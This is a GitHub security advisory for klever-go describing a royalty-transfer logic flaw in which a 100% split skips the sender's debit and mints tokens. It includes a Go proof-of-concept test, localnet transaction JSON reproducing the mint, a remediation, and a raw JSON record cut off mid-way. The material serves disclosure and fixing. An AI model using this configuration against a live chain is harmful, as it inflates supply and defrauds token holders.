GHSA-V358-WF77-39XV

Vulnerability from github – Published: 2026-08-28 20:27 – Updated: 2026-08-28 20:27
VLAI
Summary
klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits
Details

Summary

In processPercentageRoyaltiesTransfer the royalty pool is collected from the sender by SubFromBalance that is ordered after the split loop and after if royaltiesToPay <= 0 { return Ok }. The split-payout guard rejects only an allocation that exceeds the pool (a strict splitToPay > royaltiesToPay), so a split entry of exactly 100% (PercentTransferPercentage = 10000) is a valid config: it drives royaltiesToPay to 0 and hits the early-return before the sender is debited. The split recipient keeps the full royalty; the sender pays nothing for it → mint. The sibling fixed-royalty path (processFixedRoyaltiesTransfer) debits the sender first and is safe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after the early-return.

Affected code

  • core/kapp/accounts/accounts.goprocessPercentageRoyaltiesTransfer: split loop → if royaltiesToPay <= 0 { return Ok }acntSrc.SubFromBalance(royaltyAmount) (debit after the early-return). Contrast the safe processFixedRoyaltiesTransfer (debit before the loop).

Impact

Unbounded self-inflation of the transferred KDA: royaltyAmount = transferValue × rate is minted to an owner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update (off-the-books).

Reachability

Owner-gated to configure (own KDA with a TransferPercentage royalty + a 100% split). Once configured, the mint fires on any holder's transfer of the asset — not just the owner's.

Proof of concept

Unit test

TestExploit_PercentRoyaltyZeroDebit drives the real processPercentageRoyaltiesTransfer with all relevant forks ON (KdaFpr, EnableSmartContracts, FixMarketBuyOverflow). With a single 100% split the recipient is credited the full royalty (40) while the sender's SubFromBalance is called 0 times (mint = 40); the 50% control case does not early-return, the sender is debited, and value conserves.

Full Go PoC (core/kapp/accounts package, passes = mint confirmed)
package accounts

import (
    "bytes"
    "encoding/hex"
    "testing"

    "github.com/stretchr/testify/require"

    commonMock "github.com/klever-io/klever-go/common/mock"
    "github.com/klever-io/klever-go/core"
    "github.com/klever-io/klever-go/core/kapp"
    "github.com/klever-io/klever-go/data/block"
    "github.com/klever-io/klever-go/data/state"
    "github.com/klever-io/klever-go/data/transaction"
    integrationMock "github.com/klever-io/klever-go/integrationTest/mock"
    "github.com/klever-io/klever-go/kapps"
    kvmStub "github.com/klever-io/klever-go/kvm/mock/stub"
)

// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:
// processPercentageRoyaltiesTransfer credits the split recipient
// inside the loop, then hits `if royaltiesToPay <= 0 { return Ok }` BEFORE the
// sender's `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split
// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay
// to 0 and skips the debit => the recipient keeps royaltyAmount, the sender pays
// nothing => mint. The sibling fixed path debits FIRST, so the 50% contrast case
// (which does NOT early-return) confirms the debit fires and value is conserved.
func TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {
    const (
        assetIDStr     = "FUNGI-1234"
        transferValue  = int64(800)
        royaltyRatePct = uint32(500) // 5%
        royaltyAmount  = int64(40)   // 800 * 5% = 40
    )

    assetID := []byte(assetIDStr)

    // 32-byte, non-zero-prefixed => not a smart-contract address, so the royalty
    // path is not short-circuited by core.IsSmartContractAddress.
    senderAddr := bytes.Repeat([]byte{0x11}, 32)
    // Split recipient address must be a valid hex string (computeSplitRoyalties
    // hex-decodes the map key).
    recipientAddr := bytes.Repeat([]byte{0x22}, 32)
    recipientKey := hex.EncodeToString(recipientAddr)
    royaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)

    buildKDA := func(splitPercent uint32) *kapps.KDAData {
        return &kapps.KDAData{
            AssetType:    kapps.KDAData_Fungible,
            OwnerAddress: senderAddr,
            Royalties: &kapps.RoyaltiesData{
                Address: royaltyReceiverAddr,
                TransferPercentage: []*kapps.RoyaltyData{
                    {Amount: 1000, Percentage: royaltyRatePct},
                },
                SplitRoyalties: map[string]*kapps.RoyaltySplitData{
                    recipientKey: {PercentTransferPercentage: splitPercent},
                },
            },
        }
    }

    type runResult struct {
        subFromCalls    int
        subFromAmount   int64
        addToRecipient  int64
        addToOwnerRem   int64
        resCode         transaction.Transaction_TXResultCode
        err             error
    }

    run := func(t *testing.T, splitPercent uint32) runResult {
        t.Helper()

        res := runResult{}

        // Sender: track whether/what the royalty debit hits. Holds plenty of the asset.
        acntSrc := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return senderAddr },
            GetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },
            SubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
                res.subFromCalls++
                res.subFromAmount += value
                return nil
            },
        }

        // Destination is irrelevant to the royalty pool accounting here.
        acntDst := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
        }

        // Split recipient: capture the credit it receives.
        splitRecipient := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return recipientAddr },
            AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
                res.addToRecipient += value
                return nil
            },
        }

        // Owner-remainder receiver (only credited when the path does NOT early-return).
        royaltyReceiver := &commonMock.UserAccountHandlerStub{
            AddressBytesCalled: func() []byte { return royaltyReceiverAddr },
            AddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {
                res.addToOwnerRem += value
                return nil
            },
        }

        cacher := &commonMock.AccountsCacherStub{
            LoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {
                if bytes.Equal(address, recipientAddr) {
                    return splitRecipient, nil
                }
                if bytes.Equal(address, royaltyReceiverAddr) {
                    return royaltyReceiver, nil
                }
                return acntSrc, nil
            },
            GetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {
                return royaltyReceiver, nil
            },
            UpdateUserCalled: func(_ state.AccountHandler) error { return nil },
        }

        // All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts
        // (overflow-checked percentage math), and FixMarketBuyOverflow so the
        // fix-branch payout guard `splitToPay > royaltiesToPay` is ACTIVE.
        fc := &integrationMock.ForkControllerStub{
            KdaFprCalled:               func() bool { return true },
            EnableSmartContractsCalled: func() bool { return true },
            FixMarketBuyOverflowCalled: func() bool { return true },
        }

        kappController := &kvmStub.KAppControllerStub{
            GetCurrentKAppContextCalled: func() kapp.KappContext {
                return kapp.NewKappContext(kapp.ArgsNewKAppContext{
                    OriginalSender: senderAddr,
                    ContractID:     0,
                    ContractType:   transaction.TXContract_TransferContractType,
                    Block:          &block.Block{},
                })
            },
        }

        a := &accountsKapp{
            accountsCacher: cacher,
            forkController: fc,
            KAppController: kappController,
        }

        tc := &transaction.TransferContract{
            Amount:       transferValue,
            KDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)
        }

        kda := buildKDA(splitPercent)

        res.resCode, res.err = a.processPercentageRoyaltiesTransfer(
            tc, assetID, nil, acntSrc, acntDst, kda,
        )
        return res
    }

    // ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----
    t.Run("split_100pct_mints", func(t *testing.T) {
        r := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config

        require.NoError(t, r.err)
        require.Equal(t, transaction.Transaction_Ok, r.resCode)

        credited := r.addToRecipient
        debited := r.subFromAmount
        mintDelta := credited - debited

        t.Logf("[100%% case] split recipient credited (AddToBalance) = %d", credited)
        t.Logf("[100%% case] sender royalty-debit calls (SubFromBalance) = %d", r.subFromCalls)
        t.Logf("[100%% case] sender royalty amount debited            = %d", debited)
        t.Logf("[100%% case] owner-remainder credited                 = %d", r.addToOwnerRem)
        t.Logf("[100%% case] MINT delta (credited - debited)          = %d", mintDelta)

        // (1) split recipient WAS credited the full royaltyAmount (> 0).
        require.Equal(t, royaltyAmount, credited,
            "split recipient must receive the full royalty pool")
        require.Greater(t, credited, int64(0))

        // (2) the sender's royalty debit was NEVER called -> value created.
        require.Equal(t, 0, r.subFromCalls,
            "BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the <=0 early-return")
        require.Equal(t, int64(0), debited)

        // credited > debited => mint of royaltyAmount.
        require.Equal(t, royaltyAmount, mintDelta,
            "fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)",
            mintDelta, assetIDStr)
    })

    // ---- 50% split contrast: NO early-return, sender IS debited -> conserved. ----
    t.Run("split_50pct_conserves", func(t *testing.T) {
        r := run(t, core.HundredPercent/2) // 5000 == 50%

        require.NoError(t, r.err)
        require.Equal(t, transaction.Transaction_Ok, r.resCode)

        credited := r.addToRecipient + r.addToOwnerRem
        debited := r.subFromAmount

        t.Logf("[50%% case] split recipient credited      = %d", r.addToRecipient)
        t.Logf("[50%% case] owner-remainder credited       = %d", r.addToOwnerRem)
        t.Logf("[50%% case] total credited                 = %d", credited)
        t.Logf("[50%% case] sender royalty-debit calls      = %d", r.subFromCalls)
        t.Logf("[50%% case] sender royalty amount debited   = %d", debited)
        t.Logf("[50%% case] net (credited - debited)        = %d (0 => conserved)", credited-debited)

        // Sender IS debited the full royalty pool exactly once.
        require.Equal(t, 1, r.subFromCalls,
            "sibling path: at <100%% the early-return does NOT fire, so the sender royalty debit runs")
        require.Equal(t, royaltyAmount, debited)

        // Split (20) + owner remainder (20) == debited (40): value conserved.
        require.Equal(t, royaltyAmount/2, r.addToRecipient)
        require.Equal(t, royaltyAmount/2, r.addToOwnerRem)
        require.Equal(t, debited, credited, "50%% case conserves: total credited == debited")
    })
}

On-chain reproduction (live single-node localnet)

Asset F07-3NG3 was created with a 10% transfer royalty (percentage: 1000) and a single 100% split (percentTransferPercentage: 10000) to address R (klv1qeh4py4…qcv2xjm). A transfer of 100,000,000,000 units (with kdaRoyalties = 10,000,000,000, i.e. the 10% pool) then produced two credit receipts: the recipient gets the 100,000,000,000 transfer, and R is credited the 10,000,000,000 royalty — while the sender was debited only the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.

Create tx — F07-3NG3, 10% transfer royalty + single 100% split to R (hash ec2a8e8d…af12bc7f)
{
    "hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
    "blockNum": 104,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "contract": [
        {
            "type": 1,
            "typeString": "CreateAssetContractType",
            "parameter": {
                "type": "Fungible",
                "name": "Finding07",
                "ticker": "F07",
                "precision": 6,
                "initialSupply": 1000000000000,
                "maxSupply": 0,
                "royalties": {
                    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                    "transferPercentage": [
                        { "percentage": 1000 }
                    ],
                    "splitRoyalties": [
                        {
                            "address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                            "percentTransferPercentage": 10000
                        }
                    ]
                }
            }
        }
    ]
}
Transfer tx — royalty pool 10,000,000,000 credited to R with no source debit (hash 37527757…bf3706b1)
{
    "hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
    "blockNum": 120,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 10000000000
        },
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
            "type": 0,
            "typeString": "Transfer",
            "value": 100000000000
        }
    ],
    "contract": [
        {
            "type": 0,
            "typeString": "TransferContractType",
            "parameter": {
                "assetId": "F07-3NG3",
                "toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
                "amount": 100000000000,
                "kdaRoyalties": 10000000000
            }
        }
    ]
}

Remediation

Reorder so the royalty pool is debited from the sender before the split distribution, mirroring processFixedRoyaltiesTransfer:

err := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST
// ... then the split loop and `if royaltiesToPay <= 0 { return Ok }` (now only skips a zero owner-remainder)

Add the unit test above as a regression guard. Consensus-affecting → gate behind the next activation flag.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.19-rc2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.19-rc4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-841"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T20:27:44Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nIn `processPercentageRoyaltiesTransfer` the royalty pool is collected from the sender by `SubFromBalance` that is\nordered **after** the split loop and after `if royaltiesToPay \u003c= 0 { return Ok }`. The split-payout guard rejects\nonly an allocation that *exceeds* the pool (a strict `splitToPay \u003e royaltiesToPay`), so a split entry of **exactly\n100%** (`PercentTransferPercentage = 10000`) is a *valid* config: it drives `royaltiesToPay` to 0 and hits the\nearly-return **before** the sender is debited. The split recipient keeps the full royalty; the sender pays nothing\nfor it \u2192 mint. The sibling fixed-royalty path (`processFixedRoyaltiesTransfer`) debits the sender **first** and is\nsafe. Only the percentage-transfer path collects and distributes in the same function with the collect placed after\nthe early-return.\n\n## Affected code\n- `core/kapp/accounts/accounts.go` \u2014 `processPercentageRoyaltiesTransfer`: split loop \u2192 `if royaltiesToPay \u003c= 0\n  { return Ok }` \u2192 `acntSrc.SubFromBalance(royaltyAmount)` (debit after the early-return). Contrast the safe\n  `processFixedRoyaltiesTransfer` (debit before the loop).\n\n## Impact\nUnbounded self-inflation of the transferred KDA: `royaltyAmount = transferValue \u00d7 rate` is minted to an\nowner-controlled split address on every transfer of the asset, with no source debit and no supply-counter update\n(off-the-books).\n\n## Reachability\nOwner-gated to configure (own KDA with a `TransferPercentage` royalty + a 100% split). Once configured, the mint\nfires on **any** holder\u0027s transfer of the asset \u2014 not just the owner\u0027s.\n\n## Proof of concept\n\n### Unit test\n`TestExploit_PercentRoyaltyZeroDebit` drives the real `processPercentageRoyaltiesTransfer` with all relevant forks\nON (`KdaFpr`, `EnableSmartContracts`, `FixMarketBuyOverflow`). With a single 100% split the recipient is credited\nthe full royalty (`40`) while the sender\u0027s `SubFromBalance` is called **0 times** (mint = 40); the 50% control case\ndoes not early-return, the sender is debited, and value conserves.\n\n\u003cdetails\u003e\u003csummary\u003eFull Go PoC (\u003ccode\u003ecore/kapp/accounts\u003c/code\u003e package, passes = mint confirmed)\u003c/summary\u003e\n\n```go\npackage accounts\n\nimport (\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\tcommonMock \"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/kapp\"\n\t\"github.com/klever-io/klever-go/data/block\"\n\t\"github.com/klever-io/klever-go/data/state\"\n\t\"github.com/klever-io/klever-go/data/transaction\"\n\tintegrationMock \"github.com/klever-io/klever-go/integrationTest/mock\"\n\t\"github.com/klever-io/klever-go/kapps\"\n\tkvmStub \"github.com/klever-io/klever-go/kvm/mock/stub\"\n)\n\n// TestExploit_PercentRoyaltyZeroDebit proves the zero-debit mint:\n// processPercentageRoyaltiesTransfer credits the split recipient\n// inside the loop, then hits `if royaltiesToPay \u003c= 0 { return Ok }` BEFORE the\n// sender\u0027s `acntSrc.SubFromBalance(royaltyAmount, ...)`. A single VALID split\n// entry of exactly 100% (PercentTransferPercentage = 10000) drives royaltiesToPay\n// to 0 and skips the debit =\u003e the recipient keeps royaltyAmount, the sender pays\n// nothing =\u003e mint. The sibling fixed path debits FIRST, so the 50% contrast case\n// (which does NOT early-return) confirms the debit fires and value is conserved.\nfunc TestExploit_PercentRoyaltyZeroDebit(t *testing.T) {\n\tconst (\n\t\tassetIDStr     = \"FUNGI-1234\"\n\t\ttransferValue  = int64(800)\n\t\troyaltyRatePct = uint32(500) // 5%\n\t\troyaltyAmount  = int64(40)   // 800 * 5% = 40\n\t)\n\n\tassetID := []byte(assetIDStr)\n\n\t// 32-byte, non-zero-prefixed =\u003e not a smart-contract address, so the royalty\n\t// path is not short-circuited by core.IsSmartContractAddress.\n\tsenderAddr := bytes.Repeat([]byte{0x11}, 32)\n\t// Split recipient address must be a valid hex string (computeSplitRoyalties\n\t// hex-decodes the map key).\n\trecipientAddr := bytes.Repeat([]byte{0x22}, 32)\n\trecipientKey := hex.EncodeToString(recipientAddr)\n\troyaltyReceiverAddr := bytes.Repeat([]byte{0x33}, 32)\n\n\tbuildKDA := func(splitPercent uint32) *kapps.KDAData {\n\t\treturn \u0026kapps.KDAData{\n\t\t\tAssetType:    kapps.KDAData_Fungible,\n\t\t\tOwnerAddress: senderAddr,\n\t\t\tRoyalties: \u0026kapps.RoyaltiesData{\n\t\t\t\tAddress: royaltyReceiverAddr,\n\t\t\t\tTransferPercentage: []*kapps.RoyaltyData{\n\t\t\t\t\t{Amount: 1000, Percentage: royaltyRatePct},\n\t\t\t\t},\n\t\t\t\tSplitRoyalties: map[string]*kapps.RoyaltySplitData{\n\t\t\t\t\trecipientKey: {PercentTransferPercentage: splitPercent},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\ttype runResult struct {\n\t\tsubFromCalls    int\n\t\tsubFromAmount   int64\n\t\taddToRecipient  int64\n\t\taddToOwnerRem   int64\n\t\tresCode         transaction.Transaction_TXResultCode\n\t\terr             error\n\t}\n\n\trun := func(t *testing.T, splitPercent uint32) runResult {\n\t\tt.Helper()\n\n\t\tres := runResult{}\n\n\t\t// Sender: track whether/what the royalty debit hits. Holds plenty of the asset.\n\t\tacntSrc := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return senderAddr },\n\t\t\tGetBalanceCalled:   func(_ []byte, _ bool) int64 { return 1_000_000 },\n\t\t\tSubFromBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.subFromCalls++\n\t\t\t\tres.subFromAmount += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Destination is irrelevant to the royalty pool accounting here.\n\t\tacntDst := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t}\n\n\t\t// Split recipient: capture the credit it receives.\n\t\tsplitRecipient := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return recipientAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToRecipient += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\t// Owner-remainder receiver (only credited when the path does NOT early-return).\n\t\troyaltyReceiver := \u0026commonMock.UserAccountHandlerStub{\n\t\t\tAddressBytesCalled: func() []byte { return royaltyReceiverAddr },\n\t\t\tAddToBalanceCalled: func(value int64, _ []byte, _ bool, _ ...*kapps.UserKDA) error {\n\t\t\t\tres.addToOwnerRem += value\n\t\t\t\treturn nil\n\t\t\t},\n\t\t}\n\n\t\tcacher := \u0026commonMock.AccountsCacherStub{\n\t\t\tLoadUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\tif bytes.Equal(address, recipientAddr) {\n\t\t\t\t\treturn splitRecipient, nil\n\t\t\t\t}\n\t\t\t\tif bytes.Equal(address, royaltyReceiverAddr) {\n\t\t\t\t\treturn royaltyReceiver, nil\n\t\t\t\t}\n\t\t\t\treturn acntSrc, nil\n\t\t\t},\n\t\t\tGetExistingUserCalled: func(address []byte) (state.UserAccountHandler, error) {\n\t\t\t\treturn royaltyReceiver, nil\n\t\t\t},\n\t\t\tUpdateUserCalled: func(_ state.AccountHandler) error { return nil },\n\t\t}\n\n\t\t// All relevant forks ON: KdaFpr (new royalty flow), EnableSmartContracts\n\t\t// (overflow-checked percentage math), and FixMarketBuyOverflow so the\n\t\t// fix-branch payout guard `splitToPay \u003e royaltiesToPay` is ACTIVE.\n\t\tfc := \u0026integrationMock.ForkControllerStub{\n\t\t\tKdaFprCalled:               func() bool { return true },\n\t\t\tEnableSmartContractsCalled: func() bool { return true },\n\t\t\tFixMarketBuyOverflowCalled: func() bool { return true },\n\t\t}\n\n\t\tkappController := \u0026kvmStub.KAppControllerStub{\n\t\t\tGetCurrentKAppContextCalled: func() kapp.KappContext {\n\t\t\t\treturn kapp.NewKappContext(kapp.ArgsNewKAppContext{\n\t\t\t\t\tOriginalSender: senderAddr,\n\t\t\t\t\tContractID:     0,\n\t\t\t\t\tContractType:   transaction.TXContract_TransferContractType,\n\t\t\t\t\tBlock:          \u0026block.Block{},\n\t\t\t\t})\n\t\t\t},\n\t\t}\n\n\t\ta := \u0026accountsKapp{\n\t\t\taccountsCacher: cacher,\n\t\t\tforkController: fc,\n\t\t\tKAppController: kappController,\n\t\t}\n\n\t\ttc := \u0026transaction.TransferContract{\n\t\t\tAmount:       transferValue,\n\t\t\tKDARoyalties: royaltyAmount, // must match the computed pool (accounts.go line 429)\n\t\t}\n\n\t\tkda := buildKDA(splitPercent)\n\n\t\tres.resCode, res.err = a.processPercentageRoyaltiesTransfer(\n\t\t\ttc, assetID, nil, acntSrc, acntDst, kda,\n\t\t)\n\t\treturn res\n\t}\n\n\t// ---- 100% split: the exploit. Recipient credited, sender NEVER debited. ----\n\tt.Run(\"split_100pct_mints\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent) // 10000 == exactly 100%, a VALID config\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient\n\t\tdebited := r.subFromAmount\n\t\tmintDelta := credited - debited\n\n\t\tt.Logf(\"[100%% case] split recipient credited (AddToBalance) = %d\", credited)\n\t\tt.Logf(\"[100%% case] sender royalty-debit calls (SubFromBalance) = %d\", r.subFromCalls)\n\t\tt.Logf(\"[100%% case] sender royalty amount debited            = %d\", debited)\n\t\tt.Logf(\"[100%% case] owner-remainder credited                 = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[100%% case] MINT delta (credited - debited)          = %d\", mintDelta)\n\n\t\t// (1) split recipient WAS credited the full royaltyAmount (\u003e 0).\n\t\trequire.Equal(t, royaltyAmount, credited,\n\t\t\t\"split recipient must receive the full royalty pool\")\n\t\trequire.Greater(t, credited, int64(0))\n\n\t\t// (2) the sender\u0027s royalty debit was NEVER called -\u003e value created.\n\t\trequire.Equal(t, 0, r.subFromCalls,\n\t\t\t\"BUG CONFIRMED: SubFromBalance (sender royalty debit) was skipped by the \u003c=0 early-return\")\n\t\trequire.Equal(t, int64(0), debited)\n\n\t\t// credited \u003e debited =\u003e mint of royaltyAmount.\n\t\trequire.Equal(t, royaltyAmount, mintDelta,\n\t\t\t\"fix is INCOMPLETE: %d of %s minted (recipient credited, sender never debited)\",\n\t\t\tmintDelta, assetIDStr)\n\t})\n\n\t// ---- 50% split contrast: NO early-return, sender IS debited -\u003e conserved. ----\n\tt.Run(\"split_50pct_conserves\", func(t *testing.T) {\n\t\tr := run(t, core.HundredPercent/2) // 5000 == 50%\n\n\t\trequire.NoError(t, r.err)\n\t\trequire.Equal(t, transaction.Transaction_Ok, r.resCode)\n\n\t\tcredited := r.addToRecipient + r.addToOwnerRem\n\t\tdebited := r.subFromAmount\n\n\t\tt.Logf(\"[50%% case] split recipient credited      = %d\", r.addToRecipient)\n\t\tt.Logf(\"[50%% case] owner-remainder credited       = %d\", r.addToOwnerRem)\n\t\tt.Logf(\"[50%% case] total credited                 = %d\", credited)\n\t\tt.Logf(\"[50%% case] sender royalty-debit calls      = %d\", r.subFromCalls)\n\t\tt.Logf(\"[50%% case] sender royalty amount debited   = %d\", debited)\n\t\tt.Logf(\"[50%% case] net (credited - debited)        = %d (0 =\u003e conserved)\", credited-debited)\n\n\t\t// Sender IS debited the full royalty pool exactly once.\n\t\trequire.Equal(t, 1, r.subFromCalls,\n\t\t\t\"sibling path: at \u003c100%% the early-return does NOT fire, so the sender royalty debit runs\")\n\t\trequire.Equal(t, royaltyAmount, debited)\n\n\t\t// Split (20) + owner remainder (20) == debited (40): value conserved.\n\t\trequire.Equal(t, royaltyAmount/2, r.addToRecipient)\n\t\trequire.Equal(t, royaltyAmount/2, r.addToOwnerRem)\n\t\trequire.Equal(t, debited, credited, \"50%% case conserves: total credited == debited\")\n\t})\n}\n```\n\u003c/details\u003e\n\n### On-chain reproduction (live single-node localnet)\nAsset `F07-3NG3` was created with a 10% transfer royalty (`percentage: 1000`) and a single 100% split\n(`percentTransferPercentage: 10000`) to address `R` (`klv1qeh4py4\u2026qcv2xjm`). A transfer of `100,000,000,000` units\n(with `kdaRoyalties = 10,000,000,000`, i.e. the 10% pool) then produced **two** credit receipts: the recipient gets\nthe `100,000,000,000` transfer, and `R` is credited the **`10,000,000,000`** royalty \u2014 while the sender was debited\nonly the transfer amount, never the royalty. Net: 10,000 F07 created on the transfer.\n\n\u003cdetails\u003e\u003csummary\u003eCreate tx \u2014 \u003ccode\u003eF07-3NG3\u003c/code\u003e, 10% transfer royalty + single 100% split to \u003ccode\u003eR\u003c/code\u003e (hash \u003ccode\u003eec2a8e8d\u2026af12bc7f\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f\",\n    \"blockNum\": 104,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"contract\": [\n        {\n            \"type\": 1,\n            \"typeString\": \"CreateAssetContractType\",\n            \"parameter\": {\n                \"type\": \"Fungible\",\n                \"name\": \"Finding07\",\n                \"ticker\": \"F07\",\n                \"precision\": 6,\n                \"initialSupply\": 1000000000000,\n                \"maxSupply\": 0,\n                \"royalties\": {\n                    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n                    \"transferPercentage\": [\n                        { \"percentage\": 1000 }\n                    ],\n                    \"splitRoyalties\": [\n                        {\n                            \"address\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n                            \"percentTransferPercentage\": 10000\n                        }\n                    ]\n                }\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003eTransfer tx \u2014 royalty pool 10,000,000,000 credited to \u003ccode\u003eR\u003c/code\u003e with no source debit (hash \u003ccode\u003e37527757\u2026bf3706b1\u003c/code\u003e)\u003c/summary\u003e\n\n```json\n{\n    \"hash\": \"37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1\",\n    \"blockNum\": 120,\n    \"status\": \"success\",\n    \"resultCode\": \"Ok\",\n    \"chainID\": \"420420\",\n    \"receipts\": [\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 10000000000\n        },\n        {\n            \"assetId\": \"F07-3NG3\",\n            \"from\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n            \"to\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n            \"type\": 0,\n            \"typeString\": \"Transfer\",\n            \"value\": 100000000000\n        }\n    ],\n    \"contract\": [\n        {\n            \"type\": 0,\n            \"typeString\": \"TransferContractType\",\n            \"parameter\": {\n                \"assetId\": \"F07-3NG3\",\n                \"toAddress\": \"klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa\",\n                \"amount\": 100000000000,\n                \"kdaRoyalties\": 10000000000\n            }\n        }\n    ]\n}\n```\n\u003c/details\u003e\n\n## Remediation\nReorder so the royalty pool is debited from the sender **before** the split distribution, mirroring\n`processFixedRoyaltiesTransfer`:\n```go\nerr := acntSrc.SubFromBalance(royaltyAmount, assetID, ...)   // debit FIRST\n// ... then the split loop and `if royaltiesToPay \u003c= 0 { return Ok }` (now only skips a zero owner-remainder)\n```\nAdd the unit test above as a regression guard. Consensus-affecting \u2192 gate behind the next activation flag.",
  "id": "GHSA-v358-wf77-39xv",
  "modified": "2026-08-28T20:27:44Z",
  "published": "2026-08-28T20:27:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-v358-wf77-39xv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
